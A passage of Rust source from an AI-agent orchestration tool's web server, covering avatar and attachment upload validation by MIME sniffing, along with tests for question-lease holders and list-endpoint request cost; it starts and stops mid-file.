10044 save_icon_file(&magi_icon_path(home), icon)
10045}
10046
10047fn validate_uploaded_icon(icon: &str) -> Result<()> {
10048 if !icon.starts_with("data:") {
10049 anyhow::bail!("upload a raster image");
10050 }
10051 let (mime, bytes) = persona_icon::load(icon)?;
10052 if sniffed_mime(&bytes) != Some(mime) {
10053 anyhow::bail!("image content does not match its type");
10054 }
10055 Ok(())
10056}
10057
10058fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10059 validate_uploaded_icon(icon)?;
10060 atomic_icon_write(path, icon)
10061}
10062
10063fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10064 let home = path.parent().expect("icon parent");
10065 std::fs::create_dir_all(home)?;
10066 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10067 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10068 let result = (|| -> Result<()> {
10069 use std::io::Write;
10070 let mut file = std::fs::OpenOptions::new()
10071 .write(true)
10072 .create_new(true)
10073 .open(&temp)?;
10074 file.write_all(icon.as_bytes())?;
10075 file.sync_all()?;
10076 std::fs::rename(&temp, path)?;
10077 Ok(())
10078 })();
10079 let _ = std::fs::remove_file(temp);
10080 result?;
10081 Ok(())
10082}
10083
10084async fn magi_icon_put(
10085 State(ui): State<Arc<Ui>>,
10086 Json(upload): Json<MagiIconUpload>,
10087) -> ApiResult<Json<serde_json::Value>> {
10088 blocking(move || {
10089 if !upload.icon.starts_with("data:") {
10090 return Err(ApiError::bad_request("upload a raster image"));
10091 }
10092 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10093 if sniffed_mime(&bytes) != Some(mime) {
10094 return Err(ApiError::bad_request(
10095 "image content does not match its type",
10096 ));
10097 }
10098 save_magi_icon(&ui.home, &upload.icon)?;
10099 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10100 })
10101 .await
10102}
10103
10104async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10105 blocking(move || {
10106 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10107 Ok(()) => (),
10108 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10109 Err(e) => return Err(anyhow::Error::from(e).into()),
10110 }
10111 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10112 })
10113 .await
10114}
10115
10116async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10117 let icon = (q.builtin.is_none())
10118 .then(|| read_magi_icon(&ui.home))
10119 .flatten();
10120 let mut response = match icon
10121 .as_deref()
10122 .and_then(|icon| persona_icon::load(icon).ok())
10123 {
10124 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10125 attachment_response(mime, bytes)
10126 }
10127 _ => svg_avatar(persona_icon::magi_svg()),
10128 };
10129 response
10130 .headers_mut()
10131 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10132 response
10133}
10134
10135async fn talk_avatar(
10140 State(ui): State<Arc<Ui>>,
10141 Path(id): Path<String>,
10142 Query(q): Query<AvatarQuery>,
10143) -> ApiResult<Response> {
10144 blocking(move || {
10145 let id = resolve_talk(&ui.talks, &id)?;
10146 let talk = ui.talks.get(&id)?;
10147 let wanted = q
10148 .persona
10149 .as_deref()
10150 .map(str::trim)
10151 .filter(|p| !p.is_empty())
10152 .unwrap_or(&talk.persona)
10153 .to_owned();
10154 let specs = match Config::discover(&talk.repo, None) {
10155 Ok((cfg, _)) => cfg.talk.personas,
10156 Err(e) => {
10157 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10158 Vec::new()
10159 }
10160 };
10161 let found = persona::find(&specs, &wanted);
10162 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10164 let icon = effective_persona_icon(
10165 &ui.home,
10166 &wanted,
10167 found.as_ref().and_then(|p| p.icon.as_deref()),
10168 );
10169 if found.is_none() && icon.is_none() {
10170 return Ok(builtin_avatar(persona::DEFAULT_ID));
10171 }
10172 let Some(icon) = icon
10173 .as_deref()
10174 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10175 else {
10176 return Ok(builtin_avatar(&wanted));
10177 };
10178 let Some(found) = found else {
10179 return Ok(raster_or_builtin(
10180 Some(icon),
10181 persona_icon::builtin_svg(&wanted),
10182 ));
10183 };
10184 match persona_icon::load(icon) {
10185 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10186 let mut res = attachment_response(mime, bytes);
10187 res.headers_mut().insert(
10188 header::CACHE_CONTROL,
10189 header::HeaderValue::from_static("no-cache"),
10190 );
10191 Ok(res)
10192 }
10193 Ok((mime, _)) => {
10194 tracing::warn!(
10195 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10196 found.id
10197 );
10198 Ok(builtin_avatar(&found.id))
10199 }
10200 Err(e) => {
10201 tracing::warn!(
10202 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10203 found.id
10204 );
10205 Ok(builtin_avatar(&found.id))
10206 }
10207 }
10208 })
10209 .await
10210}
10211
10212fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10223 if data.len() > ATTACHMENT_MAX_BYTES {
10224 return Err(ApiError::bad_request(format!(
10225 "attachment is {} bytes, over the {} MiB limit",
10226 data.len(),
10227 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10228 ))
10229 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10230 }
10231 if data.is_empty() {
10232 return Err(ApiError::bad_request("attachment is empty"));
10233 }
10234 let declared = declared_mime(headers)?;
10235 match sniffed_mime(data) {
10236 Some(sniffed) if sniffed == declared => Ok(declared),
10237 Some(sniffed) => Err(ApiError::bad_request(format!(
10238 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10239 ))),
10240 None => Err(ApiError::bad_request(
10241 "the file's bytes do not match any accepted image format",
10242 )),
10243 }
10244}
10245
10246fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10250 let raw = headers
10251 .get(header::CONTENT_TYPE)
10252 .and_then(|v| v.to_str().ok())
10253 .unwrap_or("")
10254 .split(';')
10255 .next()
10256 .unwrap_or("")
10257 .trim()
10258 .to_ascii_lowercase();
10259 ATTACHMENT_MIME_WHITELIST
10260 .iter()
10261 .find(|&&m| m == raw)
10262 .copied()
10263 .ok_or_else(|| {
10264 if raw == "image/svg+xml" {
10265 ApiError::bad_request(
10266 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10267 not just a picture",
10268 )
10269 } else if raw.is_empty() {
10270 ApiError::bad_request("Content-Type is required for an attachment upload")
10271 } else {
10272 ApiError::bad_request(format!(
10273 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10274 image/gif or image/webp"
10275 ))
10276 }
10277 })
10278}
10279
10280fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10283 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10284 Some("image/png")
10285 } else if data.starts_with(b"\xff\xd8\xff") {
10286 Some("image/jpeg")
10287 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10288 Some("image/gif")
10289 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10290 Some("image/webp")
10291 } else {
10292 None
10293 }
10294}
10295
10296fn filename_header(headers: &HeaderMap) -> String {
10302 headers
10303 .get(FILENAME_HEADER)
10304 .and_then(|v| v.to_str().ok())
10305 .map(str::trim)
10306 .filter(|s| !s.is_empty())
10307 .unwrap_or("attachment")
10308 .to_owned()
10309}
10310
10311fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10318 let content_type = ATTACHMENT_MIME_WHITELIST
10319 .iter()
10320 .find(|&&m| m == mime)
10321 .copied()
10322 .unwrap_or("application/octet-stream");
10323 (
10324 [
10325 (header::CONTENT_TYPE, content_type),
10326 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10327 ],
10328 body,
10329 )
10330 .into_response()
10331}
10332
10333async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10341 let repo = repo.to_path_buf();
10342 blocking(move || {
10343 let (cfg, _) = Config::discover(&repo, None)?;
10344 Ok(cfg)
10345 })
10346 .await
10347}
10348
10349fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10355 let mut hits = ids
10356 .into_iter()
10357 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10358 match (hits.next(), hits.next()) {
10359 (Some(one), None) => Ok(one),
10360 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10361 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10362 "`{prefix}` matches more than one {what}, including {a} and {b}"
10363 ))),
10364 }
10365}
10366
10367#[cfg(test)]
10368mod tests {
10369
10370 #[test]
10371 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10372 let dir = tempfile::tempdir().unwrap();
10373 let store = ask::Questions::at(dir.path().join("questions"));
10374 let mut q = Question::new(
10375 "task".to_owned(),
10376 "conduct".to_owned(),
10377 "conduct".to_owned(),
10378 "choose".to_owned(),
10379 String::new(),
10380 vec!["keep".to_owned()],
10381 );
10382 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10383 q.say("why?").unwrap();
10384 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10385 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10386 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10387 store.put(&mut q).unwrap();
10388 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10389 assert_eq!(store.count_needs_owner(), 1);
10390 store.beat(&q.id, ask::WaiterKind::Deputy);
10391 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10392 assert_eq!(store.count_needs_owner(), 0);
10393 let mut stale = store.read_lease(&q.id).unwrap();
10394 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10395 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10396 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10397 assert!(view.deputy_exhausted);
10398 assert!(view.waiting_on_agent);
10399 assert_eq!(view.question.choices, ["keep"]);
10400 store.drop_lease(&q.id);
10401 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10402 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10403 }
10404
10405 #[test]
10406 fn holder_reads_the_lease_not_the_record() {
10407 let mut q = Question::new(
10408 "run".to_owned(),
10409 "implement".to_owned(),
10410 "impl-A".to_owned(),
10411 "which?".to_owned(),
10412 String::new(),
10413 Vec::new(),
10414 );
10415 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10416 q.cwd = Some("/tmp".to_owned());
10417 assert_eq!(holder_of(&q, None), Some("nobody"));
10418 let beat = |kind, ago: i64| ask::Lease {
10419 kind,
10420 pid: 1,
10421 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10422 .unwrap(),
10423 };
10424 let fresh = beat(ask::WaiterKind::Asker, 1);
10425 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10426 let daemon = beat(ask::WaiterKind::Daemon, 1);
10427 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10428 let stale = beat(ask::WaiterKind::Asker, 3600);
10429 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10430
10431 let mut c = Question::new(
10434 "task".to_owned(),
10435 crate::conduct::NODE.to_owned(),
10436 "conduct".to_owned(),
10437 "which?".to_owned(),
10438 String::new(),
10439 Vec::new(),
10440 );
10441 assert_eq!(holder_of(&c, None), Some("nobody"));
10442 c.cwd = Some("/tmp".to_owned());
10443 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10444 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10445 let deputy = beat(ask::WaiterKind::Deputy, 1);
10446 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10447 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10448
10449 let mut r = Question::new(
10451 String::new(),
10452 crate::bump::NOTICE_NODE.to_owned(),
10453 "release-watch".to_owned(),
10454 "stuck?".to_owned(),
10455 String::new(),
10456 vec!["hold".to_owned()],
10457 );
10458 assert_eq!(holder_of(&r, None), Some("nobody"));
10459 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10460 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10461 r.deputy = None;
10463 r.seat = "bump".to_owned();
10464 assert_eq!(holder_of(&r, None), None);
10465
10466 let mut m = Question::new(
10469 "run".to_owned(),
10470 crate::land::APPROVAL_NODE.to_owned(),
10471 "land".to_owned(),
10472 "merge?".to_owned(),
10473 String::new(),
10474 Vec::new(),
10475 );
10476 assert_eq!(holder_of(&m, None), Some("nobody"));
10477 assert_eq!(
10478 holder_of(&m, Some(&fresh)),
10479 Some("asker"),
10480 "a live explicit wait is a listener even before a deputy is attached"
10481 );
10482 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10483 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10484 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10485 assert_eq!(holder_of(&m, None), Some("nobody"));
10486 }
10487
10488 fn stub_config() -> Config {
10489 Config {
10492 agents: vec![crate::config::AgentSpec {
10493 id: "stub".to_owned(),
10494 kind: AgentKind::Command,
10495 model: None,
10496 command: vec!["true".to_owned()],
10497 extra_args: Vec::new(),
10498 env: Default::default(),
10499 prompt_delivery: None,
10500 max_turn_secs: None,
10501 }],
10502 ..Config::default()
10503 }
10504 }
10505
10506 fn plain_question(seat: &str) -> Question {
10507 Question::new(
10508 String::new(),
10509 "n".to_owned(),
10510 seat.to_owned(),
10511 "s".to_owned(),
10512 String::new(),
10513 Vec::new(),
10514 )
10515 }
10516
10517 #[test]
10518 fn deputies_enabled_follows_the_config() {
10519 let on = stub_config();
10520 assert!(crate::deputy::can_start(Some(&on), ""));
10521 assert!(crate::deputy::can_start(Some(&on), "stub"));
10522 let mut off = on.clone();
10523 off.daemon.max_deputies = 0;
10524 assert!(!crate::deputy::can_start(Some(&off), ""));
10525 let mut empty = on;
10526 empty.agents.clear();
10527 assert!(!crate::deputy::can_start(Some(&empty), ""));
10528 assert!(!crate::deputy::can_start(None, ""));
10529 }
10530
10531 #[test]
10532 fn question_views_load_the_config_once() {
10533 let dir = TempDir::new().unwrap();
10534 let store = ask::Questions::at(dir.path().to_path_buf());
10535 let mut with_deputy = plain_question("b");
10536 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10537 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10538
10539 let calls = std::cell::Cell::new(0usize);
10540 let views = question_views(qs.clone(), &store, || {
10541 calls.set(calls.get() + 1);
10542 Some(stub_config())
10543 });
10544 assert_eq!(calls.get(), 1);
10545 assert_eq!(views.len(), 3);
10546 for (v, q) in views.iter().zip(&qs) {
10547 assert_eq!(
10548 v.deputies_enabled,
10549 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10550 );
10551 }
10552
10553 let views = question_views(qs, &store, || None);
10554 assert!(views.iter().all(|v| !v.deputies_enabled));
10555
10556 let calls = std::cell::Cell::new(0usize);
10557 let views = question_views(Vec::new(), &store, || {
10558 calls.set(calls.get() + 1);
10559 None
10560 });
10561 assert!(views.is_empty());
10562 assert_eq!(calls.get(), 0);
10563 }
10564
10565 use pretty_assertions::assert_eq;
10566 use serde_json::Value;
10567 use tempfile::TempDir;
10568 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10569
10570 use super::*;
10571 use crate::config::Config;
10572 use crate::queue::Source;
10573
10574 const SETTLE_STEPS: usize = 3_000;
10585
10586 struct Fixture {
10592 home: TempDir,
10593 addr: SocketAddr,
10594 }
10595
10596 impl Fixture {
10597 async fn start() -> Self {
10598 Self::with_loop(launch_idle).await
10599 }
10600
10601 async fn with_loop(launch: Launch) -> Self {
10603 let home = TempDir::new().expect("temp home");
10604 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10605 Self { home, addr }
10606 }
10607
10608 async fn with_repo(repo: PathBuf) -> Self {
10612 let home = TempDir::new().expect("temp home");
10613 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10614 Self { home, addr }
10615 }
10616
10617 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10620 let home = TempDir::new().expect("temp home");
10621 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10622 Self { home, addr }
10623 }
10624
10625 async fn serve(
10626 home: &FsPath,
10627 repo: PathBuf,
10628 launch: Launch,
10629 machine: Option<PathBuf>,
10630 ) -> SocketAddr {
10631 let queue = Queue::at(home.join("queue"));
10632 let runs = home.join("runs");
10633 std::fs::create_dir_all(&runs).expect("runs dir");
10634 let worktrees = home.join("wt").join("magi");
10635 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10636 let ui = Ui::new(
10637 queue,
10638 Questions::at(home.join("questions")),
10639 Talks::at(home.join("talks")),
10640 runs,
10641 home.to_path_buf(),
10642 repo,
10643 )
10644 .with_worktrees_root(worktrees)
10645 .with_machine_config(machine)
10646 .with_launch(launch);
10647 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10648 .await
10649 .expect("bind loopback");
10650 let addr = listener.local_addr().expect("local addr");
10651 tokio::spawn(async move {
10652 let router = ui
10653 .router()
10654 .layer(axum::middleware::from_fn(request_cost::observe));
10655 let _ = axum::serve(listener, router).await;
10656 });
10657 addr
10658 }
10659
10660 fn queue(&self) -> Queue {
10661 Queue::at(self.home.path().join("queue"))
10662 }
10663
10664 fn questions(&self) -> Questions {
10665 Questions::at(self.home.path().join("questions"))
10666 }
10667
10668 fn talks(&self) -> Talks {
10669 Talks::at(self.home.path().join("talks"))
10670 }
10671
10672 fn runs(&self) -> PathBuf {
10673 self.home.path().join("runs")
10674 }
10675
10676 async fn get(&self, path: &str) -> Res {
10677 request(self.addr, "GET", path, None).await
10678 }
10679
10680 async fn head(&self, path: &str) -> Res {
10685 request(self.addr, "HEAD", path, None).await
10686 }
10687
10688 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10689 request(self.addr, "POST", path, body).await
10690 }
10691
10692 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10693 request_with(self.addr, "GET", path, None, extra).await
10694 }
10695
10696 async fn delete(&self, path: &str) -> Res {
10697 request(self.addr, "DELETE", path, None).await
10698 }
10699
10700 async fn put(&self, path: &str, body: &str) -> Res {
10701 request(self.addr, "PUT", path, Some(body)).await
10702 }
10703
10704 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10706 request_bytes(self.addr, path, headers, body).await
10707 }
10708 }
10709
10710 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10713 let tmp = TempDir::new().unwrap();
10714 let mut repos = Vec::new();
10715 for name in ["one", "two"] {
10716 let repo = tmp.path().join(name);
10717 let origin = tmp.path().join(format!("{name}.git"));
10718 std::fs::create_dir_all(&repo).unwrap();
10719 crate::git::git(&repo, &["init", "-b", "main"])
10720 .await
10721 .unwrap();
10722 std::fs::write(
10723 repo.join("magi.toml"),
10724 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10725 )
10726 .unwrap();
10727 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10728 crate::git::git(
10729 &repo,
10730 &[
10731 "-c",
10732 "user.name=fixture",
10733 "-c",
10734 "user.email=fixture@example.invalid",
10735 "commit",
10736 "-m",
10737 "fixture",
10738 ],
10739 )
10740 .await
10741 .unwrap();
10742 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10743 .await
10744 .unwrap();
10745 crate::git::git(
10746 &repo,
10747 &["remote", "add", "origin", origin.to_str().unwrap()],
10748 )
10749 .await
10750 .unwrap();
10751 crate::git::git(&repo, &["push", "origin", "main"])
10752 .await
10753 .unwrap();
10754 crate::git::git(
10755 &repo,
10756 &[
10757 "symbolic-ref",
10758 "refs/remotes/origin/HEAD",
10759 "refs/remotes/origin/main",
10760 ],
10761 )
10762 .await
10763 .unwrap();
10764 let (cfg, _) = Config::discover(&repo, None).unwrap();
10765 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10766 repos.push(repo);
10767 }
10768 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10769 (tmp, repos)
10770 }
10771
10772 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10773 let (tmp, repos) = performance_repositories().await;
10774 let machine = tmp.path().join("machine.toml");
10775 std::fs::write(&machine, "").unwrap();
10776 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10777 (tmp, repos, fx)
10778 }
10779
10780 fn seed_performance(
10781 fx: &Fixture,
10782 repos: &[PathBuf; 2],
10783 questions: usize,
10784 runs: usize,
10785 items: usize,
10786 ) {
10787 for i in fx.questions().list().len()..questions {
10789 let mut question = Question::new(
10790 "20261001-000000-0000".into(),
10791 "implement".into(),
10792 "impl-A".into(),
10793 format!("question {i}"),
10794 "context".into(),
10795 vec!["yes".into(), "no".into()],
10796 );
10797 question.id = format!("20261003-000000-{i:04x}");
10798 fx.questions().put(&mut question).unwrap();
10799 }
10800 for i in run_ids(&fx.runs()).len()..runs {
10801 write_run_repo(
10802 &fx.runs(),
10803 &format!("20261001-000000-{i:04x}"),
10804 RunStatus::Ready,
10805 repos[i % 2].to_str().unwrap(),
10806 );
10807 }
10808 for i in fx.talks().list().len()..items {
10809 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10810 let mut talk = fx.talks().get(&id).unwrap();
10811 talk.repo = repos[i % 2].clone();
10812 fx.talks().put(&mut talk).unwrap();
10813 let mut task = crate::queue::Task::new(
10814 format!("task {i}"),
10815 "instruction".into(),
10816 repos[i % 2].clone(),
10817 crate::queue::Source::Agent {
10818 run: id,
10819 node: crate::queue::CHAT_NODE.into(),
10820 },
10821 );
10822 task.id = format!("20261004-000000-{i:04x}");
10823 fx.queue().put(&mut task).unwrap();
10824 if i < crate::notices::CAP {
10826 Notices::at(fx.home.path().join("notifications"))
10827 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10828 .unwrap();
10829 }
10830 }
10831 assert_eq!(fx.questions().list().len(), questions);
10832 assert_eq!(run_ids(&fx.runs()).len(), runs);
10833 assert_eq!(fx.talks().list().len(), items);
10834 assert_eq!(fx.queue().list().len(), items);
10835 assert_eq!(
10836 Notices::at(fx.home.path().join("notifications"))
10837 .list()
10838 .len(),
10839 items.min(crate::notices::CAP)
10840 );
10841 }
10842
10843 fn request_counts(res: &Res) -> (usize, usize) {
10844 assert_eq!(res.status, 200, "{}", res.body);
10845 (
10846 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10847 res.header("x-test-git").unwrap().parse().unwrap(),
10848 )
10849 }
10850
10851 #[tokio::test]
10852 async fn list_request_cost_is_independent_of_record_count() {
10853 let (_tmp, repos, fx) = performance_fixture().await;
10854 let mut previous = None;
10855 for n in [4, 60] {
10856 seed_performance(&fx, &repos, n, n, n);
10857 let mut costs = Vec::new();
10858 for (path, discoveries) in [
10859 ("/api/questions", 1),
10860 ("/api/talks", 2),
10861 ("/api/health", 1),
10862 ("/api/stats", 1),
10863 ] {
10864 for repo in &repos {
10867 let cache = repo.join(".git/magi/config");
10868 if cache.exists() {
10869 std::fs::remove_dir_all(cache).unwrap();
10870 }
10871 }
10872 let cost = request_counts(&fx.get(path).await);
10873 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10874 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10875 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10876 costs.push(cost);
10877 }
10878 if let Some(previous) = previous {
10879 assert_eq!(costs, previous);
10880 }
10881 previous = Some(costs);
10882 }
10883 }
10887
10888 #[tokio::test]
10891 async fn list_handler_cost_without_transport() {
10892 let (_tmp, repos) = performance_repositories().await;
10893 let fx = Fixture {
10894 home: TempDir::new().unwrap(),
10895 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10896 };
10897 let ui = Arc::new(
10898 Ui::new(
10899 fx.queue(),
10900 fx.questions(),
10901 fx.talks(),
10902 fx.runs(),
10903 fx.home.path().to_path_buf(),
10904 repos[0].clone(),
10905 )
10906 .with_worktrees_root(fx.home.path().join("wt")),
10907 );
10908 let mut previous = None;
10909 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10910 seed_performance(&fx, &repos, n, runs, items);
10911 let mut costs = Vec::new();
10912 for endpoint in ["questions", "talks", "health", "stats"] {
10913 for repo in &repos {
10914 let cache = repo.join(".git/magi/config");
10915 if cache.exists() {
10916 std::fs::remove_dir_all(cache).unwrap();
10917 }
10918 }
10919 let (_, cost) = request_cost::measure(async {
10920 match endpoint {
10921 "questions" => {
10922 let _ = questions_list(State(ui.clone())).await.unwrap();
10923 }
10924 "talks" => {
10925 let _ = talks_list(
10926 State(ui.clone()),
10927 Query(ListQuery {
10928 limit: None,
10929 ids: None,
10930 }),
10931 )
10932 .await
10933 .unwrap();
10934 }
10935 "health" => {
10936 let _ = health(State(ui.clone())).await.unwrap();
10937 }
10938 _ => {
10939 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10940 .await
10941 .unwrap();
10942 }
10943 }
10944 })
10945 .await;
10946 eprintln!("{endpoint} handler N={n}: {cost:?}");
10947 assert_eq!(
10948 cost.0,
10949 if endpoint == "talks" { 2 } else { 1 },
10950 "{endpoint}"
10951 );
10952 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10953 costs.push(cost);
10954 }
10955 if let Some(previous) = previous {
10956 assert_eq!(costs, previous);
10957 }
10958 previous = Some(costs);
10959 }
10960 }
10961
10962 #[tokio::test]
10963 async fn list_request_cost_scopes_do_not_mix() {
10964 let (_tmp, repos, fx) = performance_fixture().await;
10965 seed_performance(&fx, &repos, 10, 0, 10);
10966 let (questions, talks, notices) = tokio::join!(
10967 fx.get("/api/questions"),
10968 fx.get("/api/talks"),
10969 fx.get("/api/notifications")
10970 );
10971 assert_eq!(request_counts(&questions).0, 1);
10972 assert_eq!(request_counts(&talks).0, 2);
10973 assert_eq!(request_counts(¬ices), (0, 0));
10974 }
10975
10976 #[tokio::test]
10977 async fn list_endpoints_large_home_responses() {
10978 check_large_home_endpoints(false).await;
10979 }
10980
10981 #[tokio::test]
10982 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
10983 async fn list_endpoints_large_home_ceiling() {
10984 check_large_home_endpoints(true).await;
10985 }
10986
10987 async fn check_large_home_endpoints(timed: bool) {
10988 let (_tmp, repos, fx) = performance_fixture().await;
10989 seed_performance(&fx, &repos, 200, 300, 400);
10990 let mut failures = Vec::new();
10991 for path in [
10994 "/",
10995 "/app.js",
10996 "/app.css",
10997 "/api/questions",
10998 "/api/runs?limit=300",
10999 "/api/queue",
11000 "/api/talks",
11001 "/api/notifications",
11002 "/api/health",
11003 "/api/stats",
11004 "/api/loop",
11005 "/api/settings",
11006 "/api/repos",
11007 ] {
11008 let start = std::time::Instant::now();
11009 let result = if timed {
11010 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11011 } else {
11012 Ok(fx.get(path).await)
11013 };
11014 let elapsed = start.elapsed();
11015 eprintln!("{path}: {elapsed:?}");
11016 match result {
11017 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11018 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11019 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11020 }
11021 }
11022 assert!(failures.is_empty(), "{}", failures.join("\n"));
11023 }
11024
11025 struct Res {
11026 status: u16,
11027 headers: String,
11028 head: String,
11033 body: String,
11034 bytes: Vec<u8>,
11038 }
11039
11040 impl Res {
11041 fn json(&self) -> Value {
11042 serde_json::from_str(&self.body)
11043 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11044 }
11045
11046 fn header(&self, name: &str) -> Option<&str> {
11048 self.head.lines().find_map(|line| {
11049 let (key, value) = line.split_once(':')?;
11050 key.trim()
11051 .eq_ignore_ascii_case(name)
11052 .then(|| value.trim_start().trim_end_matches('\r'))
11053 })
11054 }
11055 }
11056
11057 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11060 request_with(addr, method, path, body, &[]).await
11061 }
11062
11063 async fn request_with(
11067 addr: SocketAddr,
11068 method: &str,
11069 path: &str,
11070 body: Option<&str>,
11071 extra: &[(&str, &str)],
11072 ) -> Res {
11073 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11074 for (name, value) in extra {
11075 head.push_str(&format!("{name}: {value}\r\n"));
11076 }
11077 if let Some(body) = body {
11078 head.push_str("Content-Type: application/json\r\n");
11079 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11080 }
11081 head.push_str("\r\n");
11082 if let Some(body) = body {
11083 head.push_str(body);
11084 }
11085 let mut socket = tokio::net::TcpStream::connect(addr)
11086 .await
11087 .expect("connect to the test server");
11088 socket
11089 .write_all(head.as_bytes())
11090 .await
11091 .expect("write request");
11092 let mut raw = Vec::new();
11093 socket.read_to_end(&mut raw).await.expect("read response");
11094 let split = raw
11097 .windows(4)
